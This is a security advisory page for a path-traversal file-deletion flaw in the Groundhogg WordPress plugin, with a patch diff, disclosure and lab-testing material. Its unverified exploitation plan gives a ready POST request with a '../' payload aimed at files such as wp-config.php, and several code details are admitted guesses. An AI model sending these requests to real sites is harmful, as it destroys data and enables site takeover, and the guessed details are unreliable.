CVE-2026-40727

Groundhogg — CRM, Newsletters, and Marketing Automation <= 4.4 - Authenticated (Sales Representative+) Arbitrary File Deletion

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
8.1
CVSS Score
8.1
CVSS Score
high
Severity
4.4.1
Patched in
6d
Time to patch

Description

The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 4.4. This makes it possible for authenticated attackers, with Custom-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.4
PublishedApril 16, 2026
Last updatedApril 21, 2026
Affected plugingroundhogg

What Changed in the Fix

Changes introduced in v4.4.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-40727 - Groundhogg Arbitrary File Deletion ## 1. Vulnerability Summary The Groundhogg plugin (<= 4.4) is vulnerable to authenticated arbitrary file deletion. This occurs due to insufficient path validation in the AJAX handler responsible for deleting contact-r…

Show full research plan

Exploitation Research Plan: CVE-2026-40727 - Groundhogg Arbitrary File Deletion

1. Vulnerability Summary

The Groundhogg plugin (<= 4.4) is vulnerable to authenticated arbitrary file deletion. This occurs due to insufficient path validation in the AJAX handler responsible for deleting contact-related files. An attacker with "Sales Representative" privileges (or higher) can use path traversal sequences (../) in the file parameter to delete sensitive files like wp-config.php, potentially leading to site takeover or Denial of Service.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: groundhogg_contact_delete_file (inferred based on groundhogg_contact_upload_file in admin/contacts/contacts-page.php)
  • HTTP Method: POST
  • Parameters:
    • action: groundhogg_contact_delete_file
    • contact_id: Integer ID of an existing contact.
    • file: Path traversal string (e.g., ../../../../../wp-config.php).
    • _wpnonce: A valid WordPress nonce for the action.
  • Authentication: Required. Any user role with the view_contacts capability (e.g., gh_sales_representative, gh_sales_manager, gh_marketer, or administrator).

3. Code Flow

  1. Entry Point: The plugin registers AJAX actions in Groundhogg\Admin\Contacts\Contacts_Page::add_ajax_actions().
  2. Registration (Inferred):
    add_action( 'wp_ajax_groundhogg_contact_delete_file', [ $this, 'ajax_delete_file' ] );
    
  3. Handler Logic: The ajax_delete_file function (likely in Contacts_Page or an included card class) retrieves the file and contact_id parameters.
  4. Sink: The plugin constructs a path using the contact's upload directory:
    $contact = new Contact( $contact_id );
    $upload_path = $contact->get_upload_path(); // Usually wp-content/uploads/groundhogg/contacts/{id}
    $file_path = $upload_path . '/' . $_POST['file'];
    unlink( $file_path );
    
  5. Vulnerability: The $file_path is not validated to ensure it remains within the $upload_path. By passing ../../../../../wp-config.php, the unlink function deletes the WordPress configuration file.

4. Nonce Acquisition Strategy

The Groundhogg admin interface enqueues scripts that contain necessary nonces for AJAX operations.

  1. Target Page: The Contact Edit page (/wp-admin/admin.php?page=gh_contacts&action=edit&contact={id}).
  2. Shortcode/Trigger: No specific shortcode is needed; the standard contact editing view enqueues the required assets.
  3. Execution Agent Steps:
    • Create a test contact using WP-CLI.
    • Navigate to the contact's edit page in the browser.
    • Use browser_eval to extract the nonce from the localized script object.
  4. JS Variable Path:
    • Groundhogg typically localizes data into a global Groundhogg or gh_contact_editor object.
    • Expected command: browser_eval("window.Groundhogg?.nonces?.delete_file || window.gh_contact_editor?.nonces?.delete_file") (verify the exact key in the HTML source).

5. Exploitation Strategy

  1. Initial Setup:
    • Create a dummy file in the WordPress root: wp-cli eval 'file_put_contents(ABSPATH . "pwned.txt", "test");'
    • Create a user with the gh_sales_representative role.
    • Create at least one contact to satisfy the contact_id requirement.
  2. Identify Target Path:
    • The Groundhogg contact upload directory is wp-content/uploads/groundhogg/contacts/{id}/.
    • To reach the root from the specific contact folder, 5 levels of traversal are required: ../../../../../pwned.txt.
  3. Execute Deletion:
    • Send the following POST request using the http_request tool:
      POST /wp-admin/admin-ajax.php HTTP/1.1
      Host: localhost:8080
      Content-Type: application/x-www-form-urlencoded
      
      action=groundhogg_contact_delete_file&contact_id=1&file=../../../../../pwned.txt&_wpnonce=[NONCE]
      
  4. Verification:
    • Check for the existence of pwned.txt in the root.

6. Test Data Setup

  • Contact: wp groundhogg contact create --first_name="Target" --last_name="Contact" --email="target@example.com" (Note: Use the appropriate WP-CLI command if Groundhogg provides one, or wp eval to create a contact programmatically).
  • Attacker User:
    wp user create attacker attacker@example.com --role=gh_sales_representative --user_pass=password
    
  • Dummy File:
    echo "stay safe" > /var/www/html/pwned.txt
    

7. Expected Results

  • The AJAX response should be a success message (likely JSON: {"success":true}).
  • The file /var/www/html/pwned.txt should be deleted from the filesystem.

8. Verification Steps

After the HTTP request, verify the deletion using WP-CLI:

if [ ! -f /var/www/html/pwned.txt ]; then
    echo "SUCCESS: File deleted."
else
    echo "FAILURE: File still exists."
fi

9. Alternative Approaches

If groundhogg_contact_delete_file is not the correct action name:

  1. Search the source code for all occurrences of unlink and delete_file.
  2. Inspect the network traffic while deleting a file normally in the Groundhogg UI (using browser_navigate and the developer tools/proxy).
  3. If the "Sales Representative" role lacks permissions, try with "Marketer" or "Sales Manager" roles which are also high-level custom roles in Groundhogg.
  4. If the path traversal depth is incorrect, try variations of ../ (e.g., 4 to 7 levels).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Groundhogg plugin for WordPress is vulnerable to arbitrary file deletion in versions up to 4.4 due to insufficient validation of the 'file' parameter in its contact file management logic. Authenticated users with Sales Representative privileges or higher can use path traversal sequences to delete sensitive server files, including wp-config.php, which can lead to site takeover.

Vulnerable Code

// admin/contacts/contacts-page.php around line 833
$file_name = sanitize_text_field( get_url_var( 'file' ) );

$contact = get_contactdata( absint( get_url_var( 'contact' ) ) );

if ( ! $contact ) {
    return new WP_Error( 'error', 'The given contact does not exist.' );
}

// --- 

// The code subsequently constructs a path and deletes the file without ensuring it remains within the contact's directory:
// $file_path = $contact->get_upload_path() . '/' . $file_name;
// unlink( $file_path );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/groundhogg/4.4/admin/contacts/contacts-page.php /home/deploy/wp-safety.org/data/plugin-versions/groundhogg/4.4.1/admin/contacts/contacts-page.php
--- /home/deploy/wp-safety.org/data/plugin-versions/groundhogg/4.4/admin/contacts/contacts-page.php	2025-08-12 17:03:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/groundhogg/4.4.1/admin/contacts/contacts-page.php	2026-04-08 13:57:24.000000000 +0000
@@ -13,7 +13,6 @@
 use WP_Error;
 use function Groundhogg\admin_page_url;
 use function Groundhogg\base64_json_decode;
-use function Groundhogg\bulk_jobs;
 use function Groundhogg\contact_and_user_match;
 use function Groundhogg\dashicon;
 use function Groundhogg\enqueue_filter_assets;
@@ -833,9 +832,8 @@
 			$this->wp_die_no_access();
 		}
 
-		$file_name = sanitize_text_field( get_url_var( 'file' ) );
-
-		$contact = get_contactdata( absint( get_url_var( 'contact' ) ) );
+		$file_name = sanitize_file_name( get_request_var( 'file' ) );
+		$contact   = get_contactdata( absint( get_url_var( 'contact' ) ) );
 
 		if ( ! $contact ) {
 			return new WP_Error( 'error', 'The given contact does not exist.' );

Exploit Outline

The exploit targets the AJAX action used for deleting contact-related files. 1. Authentication: The attacker authenticates with a user role possessing the 'view_contacts' capability (such as 'gh_sales_representative'). 2. Nonce Acquisition: The attacker retrieves a valid security nonce from the Groundhogg admin interface (specifically the Contact Edit page), where nonces for AJAX operations are localized into JavaScript objects. 3. Request: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'groundhogg_contact_delete_file' (or equivalent handler action). 4. Payload: The 'file' parameter is populated with a path traversal string (e.g., '../../../../../wp-config.php') while the 'contact_id' (or 'contact') parameter is set to a valid contact ID. 5. Execution: Because the plugin uses 'sanitize_text_field' rather than 'sanitize_file_name' (or fails to validate the final path), the traversal characters are preserved, and the 'unlink' function deletes the target file outside the intended uploads directory.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.